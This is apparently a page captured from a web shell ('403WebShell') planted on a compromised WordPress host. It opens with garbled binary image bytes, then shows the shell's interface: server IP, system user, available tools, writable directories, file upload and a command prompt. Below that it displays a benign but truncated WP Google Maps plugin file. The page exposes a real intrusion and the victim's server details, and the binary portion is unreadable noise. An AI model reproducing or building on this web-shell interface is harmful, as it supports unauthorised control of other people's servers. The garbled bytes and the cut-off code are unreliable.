....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/crid/web/app/plugins/wp-google-maps/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/crid/web/app/plugins/wp-google-maps/includes//class.shortcodes.php
<?php
namespace WPGMZA;

if(!defined('ABSPATH'))
	return;

class Shortcodes extends Factory {
	const SLUG = "wpgmza";
	const STORE_LOCATOR = "store_locator";

	protected $internalEngine;

	/**
	 * Constructor. called by Plugin constructor.
	*/
	public function __construct($internalEngine){
		$this->internalEngine = $internalEngine;
		if(!$this->internalEngine->isLegacy()){
			/*
			 * Modern shortcode register
			*/
			$this->register();
		} else {
			/*
			 * Legacy shortcode register
			*/
			$this->legacy();
		}
		
	    /* Developer Hook (Action) - Register additional shortcodes */     
		do_action("wpgmza_shortcodes_registered");
	}

	/**
	 * Register shortcode handlers 
	 * 
	 * This can be extended from pro, or other plugins using factory filters
	 * 
	 * Calls internal methods, which handle rendering modules the way you would expect
	 *
	 * @return void
	*/
	public function register(){
		add_shortcode(self::SLUG, array($this, "map"));
		add_shortcode(self::SLUG . "_" . self::STORE_LOCATOR, array($this, "storeLocator"));
	}

	/**
	 * Gets the default attributes for a specific shortcode
	 * 
	 * @return array
	*/
	public function getDefaults($slug){
		$attributes = array();
		switch($slug){
			case self::SLUG:
				$attributes = array(
				    "id" => "1",
				    "zoom" => false,
				    "width" => false,
				    "height" => false,
				    "marker" => false,
				);
				break;
			case self::SLUG . "_" . self::STORE_LOCATOR:
				$attributes = array(
					"id" => "1",
					"url" => false,
					"default_radius" => false, 
					"default_address" => false
				);
				break;
		}

		/* Globals across all shortcodes */
		$attributes['classname'] = false;

		return $attributes;
	}

	/**
	 * Render a map from a shortcode
	 * 
	 * @param array $attributes The shortcode attributes
	 *
	 * @return string
	*/
	public function map($attributes){
		global $wpgmza;

		$html = "";
		
		/* Store the raw attributes, as entered by the user */
		$rawAttributes = array_merge(array(), $attributes);
		if(isset($rawAttributes['id'])){
			unset($rawAttributes['id']);
		}

		/* Developer Hook (Filter) - Modify default shortcode attributes for primary map shortcode */
		$defaults = apply_filters("wpgmza_map_shortcode_get_default_attributes", $this->getDefaults(self::SLUG));
		$attributes = shortcode_atts($defaults, $attributes);


		$attributes = (object) $attributes;
		
		$id = !empty($attributes->id) && !empty(intval($attributes->id)) ? intval($attributes->id) : 1;

		$map = Map::createInstance($id, $rawAttributes);

		if($map->element !== null){
			$pullMethod = intval($wpgmza->settings->wpgmza_settings_marker_pull);
		    if(!empty($pullMethod) && $pullMethod === 1){
		    	/* Legacy call, but we will leave it as we won't be making improvemets to XML methods moving forward */
		    	if(function_exists("wpgmza_check_if_marker_file_exists")){
		    		wpgmza_check_if_marker_file_exists($id);
		    	}
		    }

		    $options = array(
				"width"  => !empty($map->map_width) ? intval($map->map_width) : 100,
				"height" => !empty($map->map_height) ? intval($map->map_height) : 400,
				"widthType"  => !empty($map->map_width_type) ? $map->map_width_type : "%",
				"heightType" => !empty($map->map_height_type) ? $map->map_height_type : "px",
				"alignment"  => !empty($map->wpgmza_map_align) ? intval($map->wpgmza_map_align) : 1   	
		    );

			/* Developer Hook (Filter) - Modify default map options for shortcode */
		    $options = (object) apply_filters("wpgmza_shortcode_map_options", $options);

		    $styles = array(
		    	"display" => "block",
		    	"width" => !empty($attributes->width) ? $attributes->width : "{$options->width}{$options->widthType}",
		    	"height" => !empty($attributes->height) ? $attributes->height :"{$options->height}{$options->heightType}",
				"overflow" => "hidden",
				"position" => "relative"
		    );
		    
		    $classes = array(
		    	"wpgmza_map"
		    );

		    if(!empty($attributes->classname)){
		    	$classes[] = esc_attr($attributes->classname);
		    }

		    switch($options->alignment){
		    	case 1:
					$classes[] = "wpgmza-auto-left"; 
		    		break;
		    	case 2: 
					$classes[] = "wpgmza-auto-center";    	
		    		break;
		    	case 3:
					$classes[] = "wpgmza-auto-right";    	
		    		break;
		    }

		    $elemAttributes = array(
		    	"id" => "wpgmza_map_{$id}",
		    	"class" => implode(" ", $classes),
		    	"style" => $this->prepareInlineAttributes($styles, ";", ":", ""),
		    	"data-map-id" => $id,
		    	"data-maps-engine" => esc_attr($wpgmza->settings->engine),
		    	"data-build-engine" => esc_attr($wpgmza->internalEngine->getEngine()),
		    	"data-shortcode-attributes" => $this->prepareJsonAttribute("data-shortcode-attributes", $attributes),
		    	"data-settings" => $this->prepareJsonAttribute('data-settings', $map->getDataSettingsObject()),
		    );

			/* Developer Hook (Filter) - Modify default HTML attributes for container */
		    $elemAttributes = apply_filters("wpgmza_map_shortcode_get_html_attributes", $this->filterMapElementAttributes($elemAttributes, $attributes));

		    $elemAttributes = $this->prepareInlineAttributes($elemAttributes);

		    /* 
		     * Prepare components around map element
		     *
		     * Provide filter, useful for adding/altering/order components 
		    */
		    $components = $this->getMapComponents($map);

			/* Developer Hook (Filter) - Modify map components to be output for a specific map */
		    $components = apply_filters("wpgmza_shortcode_map_components", $components, $map, $attributes);

		    /* Build inner stacks */
		    $innerComponents = "";
		    if(!empty($components->inside)){
		    	foreach($components->inside as $anchor => $nodes){
		    		if(!empty($nodes) && is_array($nodes)){
		    			$innerComponents .= "\n<div class='wpgmza-inner-stack {$anchor}'>" . implode("", $nodes) . "</div>";
		    		} 
		    	}
		    }

			/* Developer Hook (Filter) - Modify HTML content before map container */
		    $before = apply_filters("wpgmza_shortcode_map_container_before", !empty($components->before) ? implode("", $components->before) : "");
			/* Developer Hook (Filter) - Modify HTML content for inner components of the map */
		    $inside = apply_filters("wpgmza_shortcode_map_container_inside", $innerComponents);
			/* Developer Hook (Filter) - Modify HTML content after map container */
		    $after  = apply_filters("wpgmza_shortcode_map_container_after",  !empty($components->after)  ? implode("", $components->after)  : "");
		    
		    $container = "<div {$elemAttributes}>";
		    
			/* Developer Hook (Filter) - Legacy filter, allows modification of map div */
		    $container = apply_filters("wpgooglemaps_filter_map_div_output", $container, $id);

			/* Developer Hook (Filter) - Legacy filter, alter opening tag types */
		    $container = apply_filters("wpgmza_shortcode_map_container_open", $container, $id); 
		    
		    $container .= $inside . "</div>";

		    /* Wrap standlone components */
		    $before = $this->standaloneComponent($before, $options->alignment, $styles);
		    $after = $this->standaloneComponent($after, $options->alignment, $styles);

		    $html = "{$before}{$container}{$after}";

			$coreDependencies = array();
			$scriptLoader = new ScriptLoader($wpgmza->isProVersion());
			$scripts = $scriptLoader->getPluginScripts();
	
			foreach($scripts as $handle => $script){
				$coreDependencies[] = $handle;
			}
	
			$apiLoader = new GoogleMapsAPILoader();
			if($apiLoader->isIncludeAllowed()){
				$coreDependencies[] = 'wpgmza_api_call';

				if($wpgmza->settings->engine == 'google-maps'){
					// TODO: Why is this not handled by the API loader?

					$scriptArgs = apply_filters('wpgmza-get-scripts-arguments', array());

					wp_enqueue_script('wpgmza_canvas_layer_options', WPGMZA_PLUGIN_DIR_URL . 'lib/CanvasLayerOptions.js', array('wpgmza_api_call'), false, $scriptArgs);
					wp_enqueue_script('wpgmza_canvas_layer', WPGMZA_PLUGIN_DIR_URL . 'lib/CanvasLayer.js', array('wpgmza_api_call'), false, $scriptArgs);
				}
			}
    
			// TODO: Come up with a proper solution. Gutenberg dependency breaks developer mode
			$gutenbergIndex = array_search('wpgmza-gutenberg', $coreDependencies);
			if($gutenbergIndex !== false){
				array_splice($coreDependencies, $gutenbergIndex, 1);
			}

			if($wpgmza->settings->engine  == 'open-layers'){
				if($index = array_search('wpgmza-google-vertex-context-menu', $coreDependencies)){
					array_splice($coreDependencies, $index, 1);
				}
			}
	
    		//Legacy hooks
    		/* Developer Hook (Action) - Enqueue additional frontend scripts */ 
    		do_action("wpgooglemaps_hook_user_js_after_core");    
    		/* Developer Hook (Action) - Enqueue additional frontend scripts */ 
			do_action("wpgooglemaps_basic_hook_user_js_after_core");    		
    		/* Developer Hook (Action) - Localize additional frontend script variable  */     
			do_action("wpgooglemaps_hook_user_js_after_localize", $map);

			if(empty($wpgmza->settings->disable_autoptimize_compatibility_fix)){
				// Autoptimize fix, bypass CSS where our map is present as large amounts of inline JS (our localized data) crashes their plugin. Added at their advice.
				add_filter('autoptimize_filter_css_noptimize', '__return_true');
			}
			
		} else {
			$html = __("Error: The map ID", "wp-google-maps") . " (" . $id . ") " . __("does not exist", "wp-google-maps");
		}

		// Internal action before output, for extenstion and hook trigger
		$this->beforeOutput(self::SLUG);

		return $html;
	}

	/** 
	 * Store Location Shortcode Handler
	 * 
	 * @param array $attributes The shortcode attributes
	 * 
	 * @return string
	*/
	public function storeLocator($attributes){
		global $wpgmza;

		$html = "";

		/* Developer Hook (Filter) - Modify default shortcode attributes for store locator shortcode */
		$defaults = apply_filters("wpgmza_sl_shortcode_get_default_attributes", $this->getDefaults(self::SLUG . "_" . self::STORE_LOCATOR));
		$attributes = shortcode_atts($defaults, $attributes);

		$attributes = (object) $attributes;
		
		$id = !empty($attributes->id) && !empty(intval($attributes->id)) ? intval($attributes->id) : 1;

		$map = Map::createInstance($id);
		if($map->element !== null){
			$storeLocator = StoreLocator::createInstance($map);
			
			$container = $storeLocator->document->querySelector('.wpgmza-store-locator');
			if(!empty($container)){
				if(!empty($attributes->url)){
					$container->setAttribute('data-map-id', $id);
					$container->setAttribute('data-url', esc_url($attributes->url));

					/* Probably separated, send over the settings */
					$container->setAttribute('data-map-settings', json_encode($map->getDataSettingsObject()));
				}
								
				if(!empty($attributes->classname)){
					$container->addClass( esc_attr($attributes->classname) );
				}

				if(!empty($attributes->default_radius)){
					$radiusSelect = $container->querySelector('select.wpgmza-radius');
					if($radiusSelect){
						$radiusOptions = $radiusSelect->querySelectorAll('option');
						foreach($radiusOptions as $option){
							if($option->hasAttribute('selected')){
								$option->removeAttribute('selected');
							}

							if(intval($option->getAttribute('value')) === intval($attributes->default_radius)){
								$option->setAttribute('selected', 'selected');
							}
						}

						$radiusSelect->setAttribute('data-default-override', 'true');
					}
				}

				if(!empty($attributes->default_address)){
					$addressInput = $container->querySelector('input[data-name="defaultAddress"]');
					$addressInput->setValue($attributes->default_address);
				}
			}

			$html = $this->standaloneComponent($storeLocator->html);
		} else {
			$html = __("Error: The map ID", "wp-google-maps") . " (" . $id . ") " . __("does not exist", "wp-google-maps");
		}

		$this->beforeOutput(self::SLUG. "_" . self::STORE_LOCATOR);

		return $html;
	}

	/**
	 * Prepares components for the map shortcode
	 * 
	 * Can be overridden by extensions to alter behaviour of the shortcode
	 * 
	 * @param object $map The map this call applies to, allowing for more scale
	 * 
	 * @return object
	*/
	public function getMapComponents($map){
	    $components = (object) array(
	    	"before" => array(),
	    	"inside" => array(),
	    	"after" => array()
	    );

	    $anchors = UI\ComponentAnchorControl::getAnchors();
	    $anchorMap = array_flip($anchors);
	    foreach($anchors as $anchor => $code){
	    	if(!UI\ComponentAnchorControl::isLegacyAnchor($code)){
	    		$components->inside[strtolower($anchor)] = array();
	    	}
	    }
	    
	    if($map->storeLocator){
	    	if($map->store_locator_component_anchor == UI\ComponentAnchorControl::ABOVE){
	    		$components->before[] = $map->storeLocator->html;
	    	} else if ($map->store_locator_component_anchor == UI\ComponentAnchorControl::BELOW){
	    		$components->after[] = $map->storeLocator->html;
	    	} else {
	    		/* Inside container */
	    		if(array_key_exists($map->store_locator_component_anchor, $anchorMap)){
	    			$anchor = strtolower($anchorMap[$map->store_locator_component_anchor]);
	    			if(array_key_exists($anchor, $components->inside)){
	    				$components->inside[$anchor][] = $map->storeLocator->html; 
	    			}
	    		}

	    	}
	    }

	    return $components;
	}

	/**
	 * Generic class extension passthrough allowing for direct extension of inline 
	 * HTML attributes on the map element, before WordPress hooks fire
	 * 
	 * This allows Pro to extend from basic, while also giving 3rd party developers complete access to the final attributes pushed to the DOM
	 * 
	 * @param array $elemAttributes The current input element attributes, before globally filtered
	 * @param object $shortcodeAttributes The current shortcode attributes helpful for logic blocks
	 * 
	 * @return array
	 * 
	*/
	public function filterMapElementAttributes($elemAttributes, $shortcodeAttributes = false){
		return $elemAttributes;
	}

	/**
	 * Wrap HTML in the standalone component div
	 * 
	 * Good for applying modern component styles, with variation, to elements outside of the map
	 * 
	 * @param string $html $The HTML to be wrapped
	 * @param int $align The map alignment, applies a class to the wrap
	 * @param array $styles The map styles, applies some styles to the wrap, assuming they are passed
	 * 
	 * @return string
	*/
	public function standaloneComponent($html, $align = false, $styles = false){
		$classlist = array(
			'wpgmza-standalone-component'
		);

		/* Probably makes sense to make this a reusable anchor method, for now, let's leave it */
		$align = !empty(intval($align)) ? intval($align) : 1; 
		switch($align){
	    	case 1:
				$classlist[] = "wpgmza-auto-left"; 
	    		break;
	    	case 2: 
				$classlist[] = "wpgmza-auto-center";    	
	    		break;
	    	case 3:
				$classlist[] = "wpgmza-auto-right";    	
	    		break;
	    }

		/* Developer Hook (Filter) - Modify standalone component default class list */
		$classlist = apply_filters("wpgmza_standalone_component_classlist", $classlist);

		if(!empty($html) && !empty($classlist)){
			$classlist = implode(" ", $classlist);

			$elemAttributes = array(
				'class' => $classlist
			);

			if(!empty($styles)){
				if(!empty($styles['width'])){
					$elemAttributes['style'] = "width:{$styles['width']}; max-width:{$styles['width']};";
				}
			}

			/* Developer Hook (Filter) - Modify element attributes for standalone component wrapper */
			$elemAttributes = apply_filters("wpgmza_standalone_component_wrap_attributes", $elemAttributes);
		    $elemAttributes = $this->prepareInlineAttributes($elemAttributes);

			$html = "<div {$elemAttributes}>{$html}</div>";
		}
		return $html;
	}

	/**
	 * Internal hook for actions before returning content for a shortcode
	 * 
	 * @param string $slug The shortcode slug which triggered this event
	 * 
	 * @return void
	*/
	public function beforeOutput($slug){
    	/* Developer Hook (Action) - Render additional content before output from shortcode, passes shortcode slug */ 
		do_action('wpgmza_shortcode_before_output', $slug);
	}

	/**
	 * Combines inline attributes 
	 * 
	 * @param array $data The data to be combined
	 * @param string $separator Symbol to use for separate 'rows'
	 * @param string $assigner Symbol to use for key/value assignments
	 * @param string $capsule What to wrap values in, if anything
	 * 
	 * @return string 
	*/
	private function prepareInlineAttributes($data, $separator = " ", $assigner = "=", $capsule = "\""){
		if(is_array($data)){
			$output = "";
			foreach($data as $key => $value){
				if(is_array($value)){
					$value = $this->prepareInlineAttributes($value, $separator, $assigner, $capsule);
				}

				$output .= "{$key}{$assigner}{$capsule}{$value}{$capsule}{$separator}";
			}

			return $output;
		}
		return $data;
	}

	/**
	 * Prepare an inline json attribute for the dom
	 * 
	 * Uses Dom Document, but has a few fallbacks if anything goes wrong along the way
	 * 
	 * @param string $tag Attribute name this data applies to 
	 * @param array|object $data The data to be prepared
	 * 
	 * @return string
	*/  
	private function prepareJsonAttribute($tag, $data){
		$encoded = false;

		if(is_object($data) || is_array($data)){
			$document = new DOMDocument();
			$document->loadHTML('<div id="debug"></div>');
		
			$el = $document->querySelector("#debug");
			$el->setAttribute($tag, json_encode($data));
		
			$html = $document->saveHTML();
